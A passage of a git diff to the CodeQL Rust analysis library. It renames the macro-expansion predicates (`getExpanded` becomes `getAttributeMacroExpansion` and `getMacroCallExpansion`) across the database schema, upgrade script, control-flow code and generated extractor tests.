/test/extractor-tests/generated/TypeAlias/TypeAlias.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getAttr.ql linguist-generated +/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/TypeAlias/TypeAlias_getName.ql linguist-generated @@ -1194,8 +1195,8 @@ /test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/Union/Union.ql linguist-generated /test/extractor-tests/generated/Union/Union_getAttr.ql linguist-generated +/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Union/Union_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Union/Union_getExpanded.ql linguist-generated /test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Union/Union_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Union/Union_getName.ql linguist-generated @@ -1204,8 +1205,8 @@ /test/extractor-tests/generated/Union/Union_getWhereClause.ql linguist-generated /test/extractor-tests/generated/Use/Use.ql linguist-generated /test/extractor-tests/generated/Use/Use_getAttr.ql linguist-generated +/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Use/Use_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Use/Use_getExpanded.ql linguist-generated /test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Use/Use_getUseTree.ql linguist-generated /test/extractor-tests/generated/Use/Use_getVisibility.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll index e68f2efde5b6..a118cf6b4720 100644 --- a/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/CfgNodes.qll @@ -217,7 +217,7 @@ final class MacroCallCfgNode extends Nodes::MacroCallCfgNode { /** Gets the CFG node for the expansion of this macro call, if it exists. */ CfgNode getExpandedNode() { - any(ChildMapping mapping).hasCfgChild(node, node.getExpanded(), this, result) + any(ChildMapping mapping).hasCfgChild(node, node.getMacroCallExpansion(), this, result) } } diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll index 2f1f710df837..e32028885110 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll @@ -75,7 +75,7 @@ class StructPatChildMapping extends ParentAstNode, StructPat { } class MacroCallChildMapping extends ParentAstNode, MacroCall { - override predicate relevantChild(AstNode child) { child = this.getExpanded() } + override predicate relevantChild(AstNode child) { child = this.getMacroCallExpansion() } } class FormatArgsExprChildMapping extends ParentAstNode, CfgImpl::ExprTrees::FormatArgsExprTree { diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll b/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll index 1107068606f1..01169ce2727a 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/Completion.qll @@ -160,7 +160,7 @@ private predicate guaranteedMatchPosition(Pat pat) { parent.(OrPat).getLastPat() = pat or // for macro patterns we propagate to the expanded pattern - parent.(MacroPat).getMacroCall().getExpanded() = pat + parent.(MacroPat).getMacroCall().getMacroCallExpansion() = pat ) } diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 900580914e2f..e13dd9ac84e3 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -143,7 +143,7 @@ class LetStmtTree extends PreOrderTree, LetStmt { } class MacroCallTree extends StandardPostOrderTree, MacroCall { - override AstNode getChildNode(int i) { i = 0 and result = this.getExpanded() } + override AstNode getChildNode(int i) { i = 0 and result = this.getMacroCallExpansion() } } class MacroStmtsTree extends StandardPreOrderTree, MacroStmts { @@ -685,7 +685,7 @@ module PatternTrees { } class MacroPatTree extends PreOrderPatTree, MacroPat { - override Pat getPat(int i) { i = 0 and result = this.getMacroCall().getExpanded() } + override Pat getPat(int i) { i = 0 and result = this.getMacroCall().getMacroCallExpansion() } } class OrPatTree extends PostOrderPatTree instanceof OrPat { diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 8631e242e823..4f8c733caa07 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -1818,6 +1818,16 @@ module MakeCfgNodes Input> { * Holds if `getTokenTree()` exists. */ predicate hasTokenTree() { exists(this.getTokenTree()) } + + /** + * Gets the macro call expansion of this macro call, if it exists. + */ + AstNode getMacroCallExpansion() { result = node.getMacroCallExpansion() } + + /** + * Holds if `getMacroCallExpansion()` exists. + */ + predicate hasMacroCallExpansion() { exists(this.getMacroCallExpansion()) } } final private class ParentMacroExpr extends ParentAstNode, MacroExpr { diff --git a/rust/ql/lib/codeql/rust/elements/Item.qll b/rust/ql/lib/codeql/rust/elements/Item.qll index 30c11c6481e4..1a8b0439695d 100644 --- a/rust/ql/lib/codeql/rust/elements/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/Item.qll @@ -5,7 +5,7 @@ private import internal.ItemImpl import codeql.rust.elements.Addressable -import codeql.rust.elements.AstNode +import codeql.rust.elements.MacroItems import codeql.rust.elements.Stmt /** diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index 5399f1f2a872..b0985ea3fed8 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -5,6 +5,7 @@ private import internal.MacroCallImpl import codeql.rust.elements.AssocItem +import codeql.rust.elements.AstNode import codeql.rust.elements.Attr import codeql.rust.elements.ExternItem import codeql.rust.elements.Item diff --git a/rust/ql/lib/codeql/rust/elements/MacroItems.qll b/rust/ql/lib/codeql/rust/elements/MacroItems.qll index e189c0dca2e0..8fdcc3945f1c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroItems.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroItems.qll @@ -8,10 +8,18 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Item /** - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll index dea172a72669..f75294f3d10e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll @@ -60,7 +60,7 @@ module Impl { /** Holds if this node is inside a macro expansion. */ predicate isInMacroExpansion() { - this = any(MacroCall mc).getExpanded() + this = any(MacroCall mc).getMacroCallExpansion() or this.getParentNode().isInMacroExpansion() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll index 2ed6536fac87..0efb96554a47 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroItemsImpl.qll @@ -13,10 +13,18 @@ private import codeql.rust.elements.internal.generated.MacroItems */ module Impl { /** - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll index e93d25f86f33..eaf0607c5d9b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll @@ -7,7 +7,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AddressableImpl::Impl as AddressableImpl -import codeql.rust.elements.AstNode +import codeql.rust.elements.MacroItems import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl /** @@ -25,15 +25,18 @@ module Generated { */ class Item extends Synth::TItem, StmtImpl::Stmt, AddressableImpl::Addressable { /** - * Gets the expanded attribute or procedural macro call of this item, if it exists. + * Gets the attribute macro expansion of this item, if it exists. */ - AstNode getExpanded() { - result = Synth::convertAstNodeFromRaw(Synth::convertItemToRaw(this).(Raw::Item).getExpanded()) + MacroItems getAttributeMacroExpansion() { + result = + Synth::convertMacroItemsFromRaw(Synth::convertItemToRaw(this) + .(Raw::Item) + .getAttributeMacroExpansion()) } /** - * Holds if `getExpanded()` exists. + * Holds if `getAttributeMacroExpansion()` exists. */ - final predicate hasExpanded() { exists(this.getExpanded()) } + final predicate hasAttributeMacroExpansion() { exists(this.getAttributeMacroExpansion()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index 30717a1a3919..6aea6ebfd8b0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -7,6 +7,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AssocItemImpl::Impl as AssocItemImpl +import codeql.rust.elements.AstNode import codeql.rust.elements.Attr import codeql.rust.elements.internal.ExternItemImpl::Impl as ExternItemImpl import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl @@ -76,5 +77,20 @@ module Generated { * Holds if `getTokenTree()` exists. */ final predicate hasTokenTree() { exists(this.getTokenTree()) } + + /** + * Gets the macro call expansion of this macro call, if it exists. + */ + AstNode getMacroCallExpansion() { + result = + Synth::convertAstNodeFromRaw(Synth::convertMacroCallToRaw(this) + .(Raw::MacroCall) + .getMacroCallExpansion()) + } + + /** + * Holds if `getMacroCallExpansion()` exists. + */ + final predicate hasMacroCallExpansion() { exists(this.getMacroCallExpansion()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll index c86181ff5d5c..5dc115ecba4f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll @@ -15,10 +15,18 @@ import codeql.rust.elements.Item */ module Generated { /** - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` * INTERNAL: Do not reference the `Generated::MacroItems` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index d84b28f91173..413aad7e27d2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -2204,13 +2204,13 @@ private module Impl { } private Element getImmediateChildOfItem(Item e, int index, string partialPredicateCall) { - exists(int b, int bStmt, int bAddressable, int n, int nExpanded | + exists(int b, int bStmt, int bAddressable, int n, int nAttributeMacroExpansion | b = 0 and bStmt = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfStmt(e, i, _)) | i) and bAddressable = bStmt + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and n = bAddressable and - nExpanded = n + 1 and + nAttributeMacroExpansion = n + 1 and ( none() or @@ -2218,7 +2218,9 @@ private module Impl { or result = getImmediateChildOfAddressable(e, index - bStmt, partialPredicateCall) or - index = n and result = e.getExpanded() and partialPredicateCall = "Expanded()" + index = n and + result = e.getAttributeMacroExpansion() and + partialPredicateCall = "AttributeMacroExpansion()" ) ) } @@ -3498,7 +3500,8 @@ private module Impl { private Element getImmediateChildOfMacroCall(MacroCall e, int index, string partialPredicateCall) { exists( - int b, int bAssocItem, int bExternItem, int bItem, int n, int nAttr, int nPath, int nTokenTree + int b, int bAssocItem, int bExternItem, int bItem, int n, int nAttr, int nPath, + int nTokenTree, int nMacroCallExpansion | b = 0 and bAssocItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAssocItem(e, i, _)) | i) and @@ -3509,6 +3512,7 @@ private module Impl { nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nPath = nAttr + 1 and nTokenTree = nPath + 1 and + nMacroCallExpansion = nTokenTree + 1 and ( none() or @@ -3524,6 +3528,10 @@ private module Impl { index = nAttr and result = e.getPath() and partialPredicateCall = "Path()" or index = nPath and result = e.getTokenTree() and partialPredicateCall = "TokenTree()" + or + index = nTokenTree and + result = e.getMacroCallExpansion() and + partialPredicateCall = "MacroCallExpansion()" ) ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 275f143083a5..e86f82854f33 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -486,10 +486,18 @@ module Raw { /** * INTERNAL: Do not use. - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` */ @@ -2182,9 +2190,9 @@ module Raw { */ class Item extends @item, Stmt, Addressable { /** - * Gets the expanded attribute or procedural macro call of this item, if it exists. + * Gets the attribute macro expansion of this item, if it exists. */ - AstNode getExpanded() { item_expandeds(this, result) } + MacroItems getAttributeMacroExpansion() { item_attribute_macro_expansions(this, result) } } /** @@ -3625,6 +3633,11 @@ module Raw { * Gets the token tree of this macro call, if it exists. */ TokenTree getTokenTree() { macro_call_token_trees(this, result) } + + /** + * Gets the macro call expansion of this macro call, if it exists. + */ + AstNode getMacroCallExpansion() { macro_call_macro_call_expansions(this, result) } } /** diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index f78cb8f2ab3b..7b74969ab7ac 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -1960,9 +1960,9 @@ infer_type_reprs( ; #keyset[id] -item_expandeds( +item_attribute_macro_expansions( int id: @item ref, - int expanded: @ast_node ref + int attribute_macro_expansion: @macro_items ref ); @labelable_expr = @@ -3088,6 +3088,12 @@ macro_call_token_trees( int token_tree: @token_tree ref ); +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + macro_defs( unique int id: @macro_def ); diff --git a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme index f78cb8f2ab3b..7b74969ab7ac 100644 --- a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme +++ b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme @@ -1960,9 +1960,9 @@ infer_type_reprs( ; #keyset[id] -item_expandeds( +item_attribute_macro_expansions( int id: @item ref, - int expanded: @ast_node ref + int attribute_macro_expansion: @macro_items ref ); @labelable_expr = @@ -3088,6 +3088,12 @@ macro_call_token_trees( int token_tree: @token_tree ref ); +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + macro_defs( unique int id: @macro_def ); diff --git a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties index 5834a727f49c..6444d6056330 100644 --- a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties +++ b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties @@ -1,4 +1,4 @@ -description: Add `expanded` to all `@item` elements +description: Rename `expanded` to `macro_call_expansion` compatibility: backwards -item_expandeds.rel: reorder macro_call_expandeds.rel (@macro_call id, @ast_node expanded) id expanded +macro_call_macro_call_expansions.rel: reorder macro_call_expandeds.rel (@macro_call id, @ast_node expanded) id expanded macro_call_expandeds.rel: delete diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected b/rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected deleted file mode 100644 index c6815fb38287..000000000000 --- a/rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected +++ /dev/null @@ -1,2 +0,0 @@ -| attr_macro_expansion.rs:1:1:2:11 | fn foo | attr_macro_expansion.rs:2:4:2:6 | Static | -| attr_macro_expansion.rs:1:1:2:11 | fn foo | attr_macro_expansion.rs:2:4:2:10 | fn foo | diff --git a/rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql b/rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql deleted file mode 100644 index f8d2f17b75e0..000000000000 --- a/rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql +++ /dev/null @@ -1,6 +0,0 @@ -import rust -import TestUtils - -from Item i, MacroItems items, Item expanded -where toBeTested(i) and i.getExpanded() = items and items.getAnItem() = expanded -select i, expanded diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 56cb7ed62e12..b7f919a01078 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -59,7 +59,7 @@ LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0 MacroCall/gen_macro_call.rs 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 MacroDef/gen_macro_def.rs 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 MacroExpr/gen_macro_expr.rs 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb -MacroItems/gen_macro_items.rs 8ef3e16b73635dc97afa3ffa4db2bb21a8f1b435176861a594b0200cc5b9b931 8ef3e16b73635dc97afa3ffa4db2bb21a8f1b435176861a594b0200cc5b9b931 +MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 MacroPat/gen_macro_pat.rs b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 MacroRules/gen_macro_rules.rs 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 MacroStmts/gen_macro_stmts.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.ql b/rust/ql/test/extractor-tests/generated/Const/Const.ql index 859bc139866f..dee1c6dada40 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.ql +++ b/rust/ql/test/extractor-tests/generated/Const/Const.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Const x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasBody, string isConst, string isDefault, string hasName, - string hasTypeRepr, string hasVisibility + Const x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasBody, string isConst, + string isDefault, string hasName, string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,7 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.isConst() then isConst = "yes" else isConst = "no") and @@ -24,6 +28,6 @@ where (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, - "isConst:", isConst, "isDefault:", isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, - "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasBody:", hasBody, "isConst:", isConst, "isDefault:", isDefault, "hasName:", hasName, + "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql index 8f608b857bc9..4056751f9726 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Const x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.ql b/rust/ql/test/extractor-tests/generated/Enum/Enum.ql index 76f3c2941b0d..e6639d783d27 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.ql +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.ql @@ -3,7 +3,7 @@ import codeql.rust.elements import TestUtils from - Enum x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + Enum x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, string hasName, string hasVariantList, string hasVisibility, string hasWhereClause where @@ -15,7 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -23,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", - hasGenericParamList, "hasName:", hasName, "hasVariantList:", hasVariantList, "hasVisibility:", - hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasVariantList:", + hasVariantList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql similarity index 76% rename from rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql index 428223feaae5..6f0623348c4c 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Enum x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql index b1fa57580a12..e7ef0f90fe93 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - ExternBlock x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - string hasAbi, int getNumberOfAttrs, string hasExternItemList, string isUnsafe + ExternBlock x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, string hasAbi, int getNumberOfAttrs, string hasExternItemList, + string isUnsafe where toBeTested(x) and not x.isUnknown() and @@ -14,11 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAbi() then hasAbi = "yes" else hasAbi = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasExternItemList() then hasExternItemList = "yes" else hasExternItemList = "no") and if x.isUnsafe() then isUnsafe = "yes" else isUnsafe = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "hasAbi:", hasAbi, "getNumberOfAttrs:", getNumberOfAttrs, - "hasExternItemList:", hasExternItemList, "isUnsafe:", isUnsafe + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAbi:", hasAbi, "getNumberOfAttrs:", + getNumberOfAttrs, "hasExternItemList:", hasExternItemList, "isUnsafe:", isUnsafe diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql index e7819652b38a..f3b6ad363fa9 100644 --- 